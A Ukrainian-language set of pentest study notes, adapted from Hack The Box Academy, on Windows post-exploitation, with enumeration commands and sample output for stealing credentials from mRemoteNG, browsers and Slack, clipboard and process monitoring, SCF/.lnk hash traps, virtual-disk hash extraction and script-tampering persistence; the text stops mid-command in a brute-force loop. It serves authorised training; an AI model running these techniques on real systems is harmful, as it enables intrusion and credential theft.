root@htb:~/post-ex# cat notes.md

WINDOWS POST-EXPLOITATION

// pillaging, legacy, LOLBAS

POST-EX

Джерело: Hack The Box Academy — Post-Exploitation модулі
Підхід: Тріаж → вектори → покрокова експлуатація
Версія: 1.0
Теми: User interaction / Pillaging / Legacy / LOLBAS / Misc
Автор: **pentester notes (20y exp)**

[LEGAL NOTICE]
Матеріал адаптовано з легального навчального джерела Hack The Box Academy. Використання виключно в навчальних цілях та в межах авторизованого пентесту. Застосування описаних технік без письмового дозволу власника системи є незаконним.

Як читати цей довідник

Цей документ продовжує логіку *Windows Privilege Escalation*, але фокусується на тому, що відбувається **після** отримання привілейованого (або навіть просто юзер-рівня) доступу. Структура така сама: decision tree → вектори → покрокові walkthroughs.

1. **Розділ 2 (Тріаж)** — куди йти спершу залежно від вже досягнутої мети: захоплення credentials? lateral? persistence?
2. **Розділ 3 (Повне перерахування)** — 18 векторів (V01-V18) згрупованих за джерелом даних.
3. **Розділи 4-9** — покрокові техніки з реальним output і короткими hints.

Майстер-флоучарт: post-exploitation маршрут

? Я щойно отримав shell/доступ. Яка моя мета зараз?

✓ **YES → Credentials інших юзерів** → Розділ 4 (Pillaging) + Розділ 5 (Interacting with Users)

✓ **YES → Lateral movement** → Розділ 4.2 (mRemoteNG) + Розділ 6 (Mount VHDX/VMDK) + Розділ 7 (SAM hashes)

✓ **YES → Privilege escalation** (ще не adm) → Розділ 7 (AlwaysInstallElevated, CVE-2019-1388) або Розділ 8 (Legacy exploits)

✓ **YES → Persistence** → Розділ 7.3 (Scheduled Tasks) + Розділ 7.1 (LOLBAS)

↓

? Яка ОС у мене під ногами?

✓ **YES → Windows 10 / Server 2016-2022** (modern) → стандартні техніки Розділів 4-7

~ **MAYBE → Windows 7 / Server 2008 R2** (EOL) → Розділ 8 — Sherlock, Windows-Exploit-Suggester, MS16-032, MS10-092

✗ **NO → Windows XP / Server 2003** — legacy критичного рівня; розмова з замовником ОБОВ'ЯЗКОВА перед експлуатацією

↓

? У мене обмежене середовище або посилений AV/EDR?

✓ **YES → LOLBAS** — Розділ 7.1 (living off the land через certutil, rundll32, signed binaries)

✗ **NO →** Звичайний підхід з Metasploit / готовими PoC

Зміст

[01] Вступ і методологія
- 1.1 Де ми у kill chain
- 1.2 Легенда умовних позначень

[02] Тріаж post-exploitation
- 2.1 Стратегічна карта напрямків
- 2.2 5 перевірок залежно від мети
- 2.3 Карта "Що я бачу → куди йти"

[03] Повне перерахування — джерела даних
- 3.1 Ціль: credentials від додатків (V01-V06)
- 3.2 Ціль: перехоплення від юзера (V07-V11)
- 3.3 Ціль: backups і файлові сховища (V12-V14)
- 3.4 Ціль: privesc misconfigurations (V15-V18)

[04] Pillaging — збір даних з скомпрометованого хоста
- 4.1 Enumeration встановленого ПО

4.2 mRemoteNG credential extraction
4.3 IM Client cookie theft (Slack, Firefox, Chrome)
4.4 Clipboard monitoring
4.5 Backup servers attack (restic)

[05] Interacting with Users — перехоплення credentials
5.1 Traffic capture (Wireshark, net-creds)
5.2 Process command line monitoring
5.3 Vulnerable services (CVE-2019-15752 Docker)
5.4 SCF file attack (NTLMv2 harvest)
5.5 .lnk file attack (Server 2019)

[06] Mount VHDX/VMDK — extraction хешів з віртуальних дисків
6.1 Знаходження .vhd/.vhdx/.vmdk
6.2 Mounting на Linux і Windows
6.3 Secretsdump.py — витяг хешів з offline SAM

[07] Miscellaneous Techniques
7.1 LOLBAS — certutil, rundll32
7.2 AlwaysInstallElevated — MSI privesc
7.3 CVE-2019-1388 — Certificate Dialog UAC bypass
7.4 Scheduled Tasks abuse
7.5 User/Computer Description Field

[08] Legacy Operating Systems
8.1 EOL таблиці Desktop і Server
8.2 Impact і політика роботи з клієнтом
8.3 Server 2008 — Sherlock + MS10-092 walkthrough
8.4 Windows 7 — Windows-Exploit-Suggester + MS16-032

[09] Післямова — куди йти далі

1. Вступ і методологія

> Цей довідник — продовження *Windows Privilege Escalation* field notes. Якщо перший документ вчить, **як** стати SYSTEM, то цей — **що робити далі**: витягти корисне з хоста, піти далі мережею, добути credentials, на які не дає права звичайний enumeration.

1.1 Де ми у kill chain

Pillaging, credential theft і інтерактивні атаки на юзерів — це фаза post-exploitation. Ми вже маємо доступ (будь-якого рівня), тепер мета — *перетворити цей доступ на максимальну вигоду для engagement*:

1. **Pillage** — витягти все корисне з поточного хоста: credentials, cookies, backups, інсталятори зі збереженими паролями.
2. **Wait & harvest** — розставити пастки (SCF-файли, процес-монітори, clipboard-логери) і чекати, поки інший юзер надасть нам credentials.
3. **Pivot** — використати знайдене для переходу на інші хости.
4. **Persistence** — забезпечити повернення (scheduled tasks, підміна скриптів).
5. **Report** — кожна знахідка = рядок у звіті, який робить engagement цінним для замовника.

> ✓ **TIP:** Post-exploitation рідко дає "миттєву перемогу" як privesc. Це марафон — 2-4 години терпіння, поки процес-монітор не зловить пароль, або поки юзер не натисне на SCF-пастку на file share. Планувати з запасом часу.

1.2 Легенда умовних позначень

Ті самі позначення, що у попередньому довіднику: блоки коду за оболонкою (`cmd` зелена, `PowerShell` синя, `shell (Kali)` рожева), output у сірому блоці, короткий помаранчевий hint, decision-box з YES/NO гілками.

> ℹ Специфічно для post-exploitation додаю ще одне помітне позначення: ⚠ **УВАГА** для дій, що фізично змінюють дані на хості клієнта (модифікація файлів, створення користувачів, запуск бекапів). Такі дії вимагають письмового схвалення.

---

2. Тріаж post-exploitation

> На відміну від privesc (де мета одна — стати SYSTEM), у post-exploitation є кілька паралельних напрямків. Спочатку треба обрати, куди направити наступні 30 хвилин, на основі *де ми вже є* і *що шукає замовник*. Нижче — стратегічна карта і 5 швидких перевірок.

2.1 Стратегічна карта напрямків

Кожна мета post-exploitation має свій набір технік, що повертають найвищий ROI:

#	Мета	Тригер	Техніки	Розділ
1	**Credentials з додатків**	встановлені mRemoteNG, PuTTY, Chrome, Slack	Pillaging	Розділ 4
2	**Credentials від активного юзера**	є активні сесії на хості	clipboard/process-mon/Wireshark	Розділ 5
3	**Offline SAM/NTDS**	доступ до backup share	VHDX mount + secretsdump	Розділ 6
4	**NTLMv2 hashes з пасток**	наявні file shares	SCF/.lnk + Responder	Розділ 5.4-5.5
5	**Privesc (ще не admin)**	наявний AlwaysInstallElevated / legacy OS	MSI / CVE-2019-1388 / Sherlock	Розділи 7-8
6	**Stealth operation**	AV/EDR на хості	LOLBAS (certutil, rundll32)	Розділ 7.1

> ✓ **TIP:** Перший напрямок — завжди **Pillaging**. Це найменш шумно і дає найбільшу користь. Чекання пасток — коли решта не спрацювала.

2.2 Тріаж: 5 перевірок за 10 хвилин

1 Яке ПО встановлене на хості?

```ps
PS C:\htb> Get-ItemProperty
HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName,
DisplayVersion | Sort DisplayName -Unique | Format-Table -AutoSize
```

```out
DisplayName                                     DisplayVersion
-----------                                     --------------
Adobe Acrobat DC (64-bit)                       22.001.20169
Google Chrome                                   103.0.5060.134
mRemoteNG                                       1.62
TeamViewer                                      15.31.5
Mozilla Firefox 91.0.2 (x64 en-US)              91.0.2
```

▸ шукати: mRemoteNG, PuTTY, SuperPuTTY, WinSCP, Chrome, Firefox, Slack, Teams, Docker Desktop, TeamViewer

? Що у списку?

- ✓ **YES → mRemoteNG / PuTTY / WinSCP** → credentials у конфігах (**Розділ 4.2**)
- ✓ **YES → Chrome / Firefox / Edge** → cookies + saved logins (**Розділ 4.3**)
- ✓ **YES → Docker Desktop < 2.1.0.1** → CVE-2019-15752 (**Розділ 5.3**)
- ✓ **YES → Backup agent** (restic, Veeam, Backup Exec) → доступ до бекапів (**Розділ 4.5**)
- ✗ **NO →** Ніяких відомих продуктів — переходимо до кроку **2**.

2 Чи активні інші юзери на хості?

```cmd
C:\htb> quser & query session
```

```out
USERNAME     SESSIONNAME    ID  STATE      IDLE TIME   LOGON TIME
htb-student  console         1  Active      none        12/14/2023 9:05 AM
jeff         rdp-tcp#2       2  Active      5           12/14/2023 10:23 AM
sarah        disc            3  Disc        2:15        12/14/2023 9:30 AM

 SESSIONNAME       USERNAME            ID  STATE   TYPE        DEVICE
 services                               0   Disc
>console          htb-student          1   Active
 rdp-tcp#2        jeff                 2   Active  rdpwd
 rdp-tcp           65536   Listen
```

▸ кожен активний юзер = ціль для clipboard / process-command-line / SCF-пастки

? Є активні юзери, окрім мене?

✓ **YES** → **Process Command Line monitoring** (**Розділ 5.2**) — чекати на scheduled tasks з credentials у argv

✓ **YES** → **Clipboard logger** (**Розділ 4.4**) — ловити copy-paste паролів

✓ **YES** → **Wireshark capture** (**Розділ 5.1**) — якщо Npcap встановлено без Admin-restriction

✗ **NO** → Пасивні техніки неефективні — фокус на Pillaging (крок **1**) і backup (крок **3**).

3 Які share-папки і backup-сховища доступні?

```cmd
C:\htb> net view \\localhost & net share
```

```out
Shared resources at \\localhost

Share name    Type  Used as  Comment

-------------------------------------------------------------------------------
ADMIN$        Disk           Remote Admin
backups       Disk           Backup share
C$            Disk           Default share
IPC$          IPC            Remote IPC
scripts       Disk           Administrative scripts

Share name   Resource                                Remark
-------------------------------------------------------------------------------
ADMIN$       C:\Windows                              Remote Admin
backups      E:\Backups                              Backup share
scripts      C:\Scripts                              Administrative scripts
```

▸ нестандартні share (`backups` , `scripts` , `data`) = джерела для pivot

```ps
PS C:\htb> Get-ChildItem \\localhost\backups\ -Recurse -Include *.vhd, *.vhdx, *.vmdk
-ErrorAction Ignore
```

```out
    Directory: \\localhost\backups\SQL01

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/01/2023  3:45 AM    53687091200 SQL01-disk1.vmdk

    Directory: \\localhost\backups\WEBSRV10

-a----        12/01/2023  3:47 AM    64424509440 WEBSRV10.vhdx
```

▸ .vhd / .vhdx / .vmdk = offline доступ до чужих хостів = SAM/SYSTEM = NT хеші

? Знайшов VHDX/VMDK/VHD?

✓ **YES → Mount + secretsdump** → NT хеші local admin → PtH (**Розділ 6**)

✗ **NO →** Перевіряємо звичайні файли у share через Snaffler / findstr.

4 Чи є на хості writable папки для SCF/.lnk пасток?

```cmd
C:\htb> for /f %a in ('net share ^| findstr /v "^$ Share ADMIN$ IPC$ C$ print$ --"')
do @echo %a & accesschk64.exe /accepteula -qwus Users "\\localhost\%a" 2>nul
```

```out
scripts
RW \\localhost\scripts

data_share
RW \\localhost\data_share
```

▸ writable shares від `Users` = пастки для NTLMv2 harvest через SCF/.lnk

? Є writable file shares?

✓ **YES** → **Heavily-accessed share** → SCF пастка (Win 7/Server 2016 і нижче) або .lnk пастка (Server 2019+) → Responder → NTLMv2 hash → hashcat (**Розділ 5.4-5.5**)

✗ **NO** → Skipраємо — пасивні атаки не спрацюють, йдемо до Pillaging.

5 Це legacy OS?

```cmd
C:\htb> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

```out
OS Name:     Microsoft Windows 7 Professional
OS Version:  6.1.7601 Service Pack 1 Build 7601
```

▸ Build 6.0-6.1 = Vista/7/2008; 6.2-6.3 = 8/2012; 10.0.14393- = modern

? Яка версія?

✓ **YES → Windows 7 / Server 2008 R2** → Windows-Exploit-Suggester + MS16-032 / MS10-092 (**Розділ 8**)

~ **MAYBE → Win 8 / Server 2012** → перевіряємо Sherlock на MS16-032, MS16-135

✗ **NO → Win 10 / Server 2016+** → legacy exploits не застосовні, стандартні техніки Розділів 4-7

⚠ **УВАГА:** Для legacy — обов'язкова розмова з замовником. Медичні MRI-системи, local gov системи, POS-термінали магазинів часто "крихкі": падіння = серйозні фінансові або юридичні наслідки.

2.3 Карта "Що я бачу → куди йти"

Спостерігаю	Йду на
`mRemoteNG` у Program Files	Розділ 4.2 (confCons.xml + mR3m)
`confCons.xml` у AppData	Розділ 4.2 (mremoteng_decrypt.py)
Slack Desktop або Slack у браузері	Розділ 4.3 (`d` cookie)
`cookies.sqlite` у Firefox Profile	Розділ 4.3 (cookieextractor.py)
Chrome `Network\Cookies`	Розділ 4.3 (Invoke-SharpChromium)
Активні RDP-сесії інших юзерів	Розділ 4.4 (Clipboard logger)
Процеси, що запускаються scheduled task	Розділ 5.2 (Process Command Line monitor)
Wireshark встановлений без Admin-restriction	Розділ 5.1 (traffic capture)
Docker Desktop < 2.1.0.1	Розділ 5.3 (CVE-2019-15752)
Writable file share з частим трафіком	Розділ 5.4 (SCF/.lnk пастка)
.vhd / .vhdx / .vmdk файл	Розділ 6 (mount + secretsdump)
AlwaysInstallElevated = 0x1 в обох hives	Розділ 7.2 (MSI as SYSTEM)
`hhupd.exe` у системі, хост непатчений	Розділ 7.3 (CVE-2019-1388)
Writable `C:\Scripts` з .ps1 файлами	Розділ 7.4 (Scheduled Tasks abuse)
restic.exe на хості	Розділ 4.5 (repository pillage)
OS Version 6.1 (Win 7 / 2008 R2)	Розділ 8 (legacy exploits)
Обмежене середовище (no MSF, AV блокує payload)	Розділ 7.1 (LOLBAS — certutil, rundll32)

3. Повне перерахування — джерела даних

> Якщо тріаж не дав чіткого вектора — проходимо повний чекліст за джерелами інформації. Кожен вектор (V01-V18) — конкретний тип ресурсу, де може лежати щось корисне, з командою-пошуком і посиланням на розділ експлуатації.

3.1 Ціль: credentials від встановлених додатків

[V01] mRemoteNG confCons.xml

HIGH

Ціль: збережені SSH/RDP/VNC credentials (hardcoded master pass `mR3m`)

Наступний крок: Розділ 4.2

ps
```
PS C:\htb> Get-ChildItem -Path C:\Users\*\AppData\Roaming\mRemoteNG\confCons.xml -
ErrorAction Ignore
```

out
```
    Directory: C:\Users\julio\AppData\Roaming\mRemoteNG

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        7/21/2022   8:51 AM            340 confCons.xml
```

▸ наявність файлу = є що розшифрувати; далі `mremoteng_decrypt.py`

[V02] PuTTY / WinSCP / FileZilla sessions

HIGH

Ціль: збережені proxy credentials + SSH ключі + FTP паролі

Наступний крок: Розділ 4.2 (SessionGopher — див. privesc doc)

ps
```
PS C:\htb> reg query "HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions" 2>nul; reg query
"HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions" 2>nul
```

```
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\Default%20Settings
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\prod-server

HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions\Default%20Settings
HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions\backup-ssh
```

out

▸ імена сесій → далі SessionGopher або прямий reg query

[V03] Slack cookies (Firefox + Chrome)

HIGH

Ціль:	cookie `d` = authentication token; дає повний доступ до робочого Slack
Наступний крок:	Розділ 4.3

```ps
PS C:\htb> Get-ChildItem -Path
C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite -EA
Ignore; Get-ChildItem -Path "C:\Users\*\AppData\Local\Google\Chrome\User
Data\Default\Network\Cookies" -EA Ignore
```

```out
    Directory: C:\Users\jeff\AppData\Roaming\Mozilla\Firefox\Profiles\abc123.default-
release

-a----        12/14/2023  9:42 AM         524288 cookies.sqlite

    Directory: C:\Users\jeff\AppData\Local\Google\Chrome\User Data\Default\Network

-a----        12/14/2023  9:43 AM         786432 Cookies
```

▸ Firefox — незашифровані cookie; Chrome — DPAPI (через Invoke-SharpChromium)

[V04] TeamViewer / AnyDesk / VNC configs

MED

Ціль:	збережені IDs, unattended passwords, remote control credentials
Наступний крок:	Ручний аналіз конфігів + відомі CVE для версії

```cmd
C:\htb> reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" 2>nul; reg query
"HKCU\Software\TightVNC" 2>nul
```

```
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TeamViewer
    ClientID    REG_DWORD    0x12345678
    Version     REG_SZ       15.31.5
    SecurityPasswordAES  REG_BINARY  <...encrypted...>

HKEY_CURRENT_USER\Software\TightVNC\Server
    Password    REG_BINARY  5D7E0F1234567890
```

out

▸ TeamViewer < 15.50 — unattended password через AES з hardcoded key (github: AyrA/TeamViewerPassworsRecovery)

[V05] Clipboard content

MED

Ціль:	password-manager paste, 2FA tokens, RDP session clipboard
Наступний крок:	Розділ 4.4 (Invoke-ClipboardLogger)

```
PS C:\htb> Get-Clipboard
```

ps

```
https://portal.azure.com/
```

out

▸ один snapshot — обмежений; повноцінно — запустити `Invoke-ClipboardLogger` і чекати

[V06] User/Computer description field

LOW

Ціль:	паролі в description (часте гріхопадіння sysadmin'ів)
Наступний крок:	Розділ 7.5

```
PS C:\htb> Get-LocalUser | Select Name, Enabled, Description
```

ps

```
Name            Enabled Description
----            ------- -----------
Administrator   True    Built-in account for administering the computer/domain
helpdesk        True
jordan          True
secsvc          True    Network scanner - do not change password
sql_dev         True    Password: SqlD3v!2020
```

out

▸ шукати у description прямо вписані паролі, internal URLs, hostname

3.2 Ціль: перехоплення від активного юзера

[V07] Process command line monitoring

HIGH

Ціль: credentials у argv scheduled tasks чи ручних запусках адмінів

Наступний крок: Розділ 5.2

ps
```
PS C:\htb> Get-WmiObject Win32_Process | Select CommandLine | Where CommandLine -match
"/u:|/p:|pass|cred"
```

out
```
CommandLine
-----------
net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd
powershell.exe -Command "Invoke-WebRequest -Headers @{'Authorization'='Bearer eyJhbGc...'}"
```

▸ один snapshot — обмежено; для постійного моніторингу — loop кожні 2 сек (див. Розділ 5.2)

[V08] Network traffic (Wireshark/Npcap)

MED

Ціль: cleartext FTP/HTTP credentials, NTLM challenges

Наступний крок: Розділ 5.1

ps
```
PS C:\htb> Get-Service -Name "npcap","WinPcapS" -EA Ignore; reg query
"HKLM\SYSTEM\CurrentControlSet\Services\npcap\Parameters" /v "AdminOnly" 2>nul
```

out
```
Status   Name               DisplayName
------   ----               -----------
Running  npcap              Npcap Packet Driver (NPCAP)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters
    AdminOnly    REG_DWORD    0x0
```

▸ `AdminOnly=0x0` = капчурити може звичайний юзер → Wireshark/tcpdump працює без admin

---

[V09] Docker Desktop < 2.1.0.1 (CVE-2019-15752)

MED

Ціль: писабельна директорія виконувана при docker login

Наступний крок: Розділ 5.3

```ps
PS C:\htb> Test-Path "C:\ProgramData\DockerDesktop\version-bin"; icacls
"C:\ProgramData\DockerDesktop\version-bin" 2>$null
```

```out
True
C:\ProgramData\DockerDesktop\version-bin
    BUILTIN\Users:(OI)(CI)(F)
    NT AUTHORITY\SYSTEM:(OI)(CI)(F)
    BUILTIN\Administrators:(OI)(CI)(F)
```

▸ `BUILTIN\Users:(F)` на рарці = CVE-2019-15752; підміняємо `docker-credential-wincred.exe`

[V10] Writable shares для SCF-пастки

HIGH

Ціль:	heavily-accessed share → пастки для NTLMv2 harvest
Наступний крок:	Розділ 5.4-5.5

```ps
PS C:\htb> Get-SmbShare | Where {$_.Name -notmatch '^(ADMIN|IPC|C|print|NETLOGON|SYSVOL)\$?
$'} | Select Name, Path
```

```out
Name          Path
----          ----
scripts       C:\Scripts
data_share    D:\DataShare
projects      E:\Projects
reports       E:\Reports
```

▸ для кожного — accesschk на запис + перевірити частоту доступу (`audit` logs якщо є)

[V11] OS version для SCF vs .lnk вибору

MED

Ціль:	Server 2019+ блокує SCF; .lnk працює всюди
Наступний крок:	Розділ 5.5

```ps
PS C:\htb> [environment]::OSVersion.Version; Get-WmiObject Win32_OperatingSystem | Select
Caption
```

```
Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      17763  0

Caption
-------
Microsoft Windows Server 2019 Standard
```

▸ Build < 17763 → SCF works; Build ≥ 17763 → .lnk only

3.3 Ціль: backups і віртуальні диски

[V12] VHD / VHDX / VMDK файли

HIGH

Ціль:	offline доступ до чужого хоста → SAM/SYSTEM → NT hashes
Наступний крок:	Розділ 6

```ps
PS C:\htb> Get-ChildItem -Path C:\, D:\, E:\ -Recurse -Include *.vhd, *.vhdx, *.vmdk -EA
Ignore -Force 2>$null
```

⏳ **ЧЕКАТИ:** Повне сканування дисків — до 10 хвилин.

```out
    Directory: E:\Backups\SQL01

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/01/2023  3:45 AM    53687091200 SQL01-disk1.vmdk

    Directory: E:\Backups\DC01

-a----        12/01/2023  3:47 AM    64424509440 DC01-disk1.vhdx
```

▸ DC01 = гарантія успіху: NTDS.dit + SYSTEM = ALL domain hashes через `secretsdump -ntds`

[V13] Restic repositories

MED

Ціль:	backup-репозиторій restic → snapshots → restore → SAM/SYSTEM
Наступний крок:	Розділ 4.5

```ps
PS C:\htb> Get-ChildItem -Path C:\, D:\, E:\ -Recurse -Directory -Include
"snapshots","config","keys","data" -EA Ignore | Where-Object { (Get-ChildItem $_.FullName -
Name "config" -EA Ignore) -and (Get-ChildItem $_.FullName -Name "keys" -EA Ignore) }
```

```out
    Directory: E:\restic2

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        12/09/2023  2:16 PM                data
d-----        12/09/2023  2:16 PM                index
d-----        12/09/2023  2:16 PM                keys
d-----        12/09/2023  2:16 PM                locks
d-----        12/09/2023  2:16 PM                snapshots
```

▸ наявність підпапок `config+keys+snapshots` = restic repo; перевірити `$env:RESTIC_PASSWORD`

[V14] Network share file discovery — Snaffler

HIGH

Ціль:	sensitive files across усього AD (паролі, KeePass, SSH keys, web.config)
Наступний крок:	Розділ 4.6

```ps
PS C:\htb> .\Snaffler.exe -s -d INLANEFREIGHT -o snaffler.log
```

⏳ **ЧЕКАТИ:** Краулінг всіх SMB-шар у AD — 30 хвилин до кількох годин.

```out
[File] {Red}<web.config|R|14KB|2023-11-15T09:22:03>(\\FILE01\apps$\portal\web.config)
  <add name="db" connectionString="Server=sql01;User Id=sa;Password=P@ssw0rd2023"/>

[File] {Yellow}<id_rsa|R|2KB|2023-10-08T14:05:11>(\\BACKUP02\users$\jeff\.ssh\id_rsa)
  -----BEGIN RSA PRIVATE KEY-----

[File] {Red}<unattend.xml|R|4KB|2023-01-20T08:15:42>(\\DEPLOY01\shares$\configs\win10.xml)
  <Password><Value>U2VjdXJlUEBzc3dvcmQh</Value><PlainText>false</PlainText></Password>
```

▸ колір `{Red}` = найгарячіше; `{Yellow}` = перевірити вручну; `{Green}` = low severity

3.4 Ціль: privesc misconfigurations не покриті основним privesc-довідником

[V15] hhupd.exe для CVE-2019-1388

HIGH

Ціль: Certificate Dialog UAC bypass — SYSTEM через клік на hyperlink

Наступний крок: Розділ 7.3

cmd
```
C:\htb> wmic qfe list brief | findstr /C:"KB4525236" /C:"KB4525241"
```

out
```
<empty — патч не знайдено>
```

▸ відсутність KB4525236/KB4525241 (Nov 2019) = CVE-2019-1388 застосовний; потрібен GUI

[V16] Writable script directories

HIGH

Ціль: writable .ps1/.bat файли, що запускаються scheduled tasks як SYSTEM

Наступний крок: Розділ 7.4

cmd
```
C:\htb> accesschk64.exe /accepteula -s -d C:\Scripts\ C:\Tasks\ C:\Automation\ 2>nul
```

out
```
C:\Scripts
  RW BUILTIN\Users
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
```

▸ RW для Users на папці з .ps1/.bat = додаємо свій рядок у скрипт → чекаємо scheduled task → SYSTEM beacon

---

[V17] AlwaysInstallElevated (якщо не перевірено)

HIGH

Ціль: будь-який .msi = SYSTEM

Наступний крок: Розділ 7.2

```cmd
C:\htb> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
```

```out
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

▸ обидва `0x1` = готовий MSI-privesc

[V18] Legacy OS (EOL Windows)

MED

Ціль:	kernel CVE під старий Build (MS10-092, MS16-032, MS16-075)
Наступний крок:	Розділ 8

```cmd
C:\htb> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
```

```out
OS Name:        Microsoft Windows 7 Professional
OS Version:     6.1.7601 Service Pack 1 Build 7601
System Type:    x64-based PC
```

▸ Build 7601 = Win 7 SP1 → Sherlock + MS16-032; Build 6002 = Server 2008 → MS10-092

---

4. Pillaging

> Pillaging — систематичний витяг даних зі скомпрометованого хоста. На відміну від privesc (шукаємо уразливість), тут *шукаємо інформацію*: credentials, cookies, backups, персональні дані. Кожен встановлений продукт — потенційне джерело.

4.1 Enumeration встановленого ПО

Через dir (швидко)

```cmd
C:\htb> dir "C:\Program Files"
```

```out
 Volume in drive C has no label.
 Volume Serial Number is 900E-A7ED

 Directory of C:\Program Files

07/14/2022  08:31 PM    <DIR>          .
07/14/2022  08:31 PM    <DIR>          ..
05/16/2022  03:57 PM    <DIR>          Adobe
05/16/2022  12:33 PM    <DIR>          Corsair
05/16/2022  10:17 AM    <DIR>          Google
05/16/2022  11:07 AM    <DIR>          Microsoft Office 15
07/10/2022  11:30 AM    <DIR>          mRemoteNG
07/13/2022  09:14 AM    <DIR>          OpenVPN
07/19/2022  09:04 PM    <DIR>          Streamlabs OBS
07/20/2022  07:06 AM    <DIR>          TeamViewer
               0 File(s)              0 bytes
              16 Dir(s)  351,524,651,008 bytes free
```

> ▸ Program Files + Program Files (x86) обидва — не пропусти x86 для старіших додатків

Через реєстр (детальніше — з версіями)

```ps
PS C:\htb> $INSTALLED = Get-ItemProperty
HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName,
DisplayVersion, InstallLocation
PS C:\htb> $INSTALLED += Get-ItemProperty
HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object
DisplayName, DisplayVersion, InstallLocation
PS C:\htb> $INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -
Unique | Format-Table -AutoSize
```

```
DisplayName                                           DisplayVersion    InstallLocation
-----------                                           --------------    ---------------
Adobe Acrobat DC (64-bit)                             22.001.20169      C:\Program
Files\Adobe\Acrobat DC\
CORSAIR iCUE 4 Software                               4.23.137          C:\Program
Files\Corsair\CORSAIR iCUE 4 Software
Google Chrome                                         103.0.5060.134    C:\Program
Files\Google\Chrome\Application
Google Drive                                          60.0.2.0          C:\Program
Files\Google\Drive File Stream\60.0.2.0\GoogleDriveFS.exe
Microsoft Office Profesional Plus 2016 - es-es        16.0.15330.20264  C:\Program Files
(x86)\Microsoft Office
mRemoteNG                                             1.62              C:\Program
Files\mRemoteNG
TeamViewer                                            15.31.5           C:\Program
Files\TeamViewer
```

▸ версії критичні для CVE-lookup — всі продукти з `>2 роки старі` перевіряти на known exploits

---

4.2 mRemoteNG credential extraction

ℹ mRemoteNG — remote connection manager (RDP, SSH, VNC, FTP). Зберігає credentials у XML-конфігу з AES-GCM шифруванням. Проблема: якщо юзер не задав custom master password, використовується **hardcoded key** `mR3m`.

Крок 1 — знайти confCons.xml

```ps
PS C:\htb> ls C:\Users\julio\AppData\Roaming\mRemoteNG
```

```
    Directory: C:\Users\julio\AppData\Roaming\mRemoteNG

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/21/2022   8:51 AM                Themes
-a----        7/21/2022   8:51 AM            340 confCons.xml
              7/21/2022   8:51 AM            970 mRemoteNG.log
```

▸ типовий шлях: `%APPDATA%\mRemoteNG\confCons.xml`

Крок 2 — прочитати зашифровані паролі

```ps
PS C:\htb> cat C:\Users\julio\AppData\Roaming\mRemoteNG\confCons.xml
```

```
<?XML version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false"
EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000"
FullFileEncryption="false"
Protected="QcMB21irFadMtSQvX5ONMEh7X+TSqRX3uXO5DKShwpWEgzQ2YBWgD/uQ86zbtNC65Kbu3LKEdedcgDNO
6N41Srqe" ConfVersion="2.6">
    <Node Name="RDP_Domain" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General"
Id="096332c1-f405-4e1e-90e0-fd2a170beeb5" Username="administrator" Domain="test.local"
Password="sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBM
cQ6UnuOdkerig==" Hostname="10.0.0.10" Protocol="RDP" PuttySession="Default Settings"
Port="3389"
    </Node>
</Connections>
```

out

▸ атрибут `Protected` = зашифрований master password (перевірка); `Password` на Node = реальні creds цільового хоста

Крок 3 — розшифрувати (default master pass)

```
Cyberduckk@htb[/htb]$ python3 mremoteng_decrypt.py -s
"sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdk
erig=="
```

sh

```
Password: ASDki230kasd09fk233aDA
```

out

▸ без `-p` → скрипт пробує default `mR3m`; успіх = юзер не поміняв master password

Крок 4 — якщо custom master pass, але ми його знаємо

```
Cyberduckk@htb[/htb]$ python3 mremoteng_decrypt.py -s
"EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/k
iakA==" -p admin
```

sh

```
Password: ASDki230kasd09fk233aDA
```

out

▸ з custom pass — явно через `-p`; без нього видає `MAC check failed`

Крок 5 — brute-force master password

```
Cyberduckk@htb[/htb]$ for password in $(cat /usr/share/wordlists/fasttrack.txt); do echo
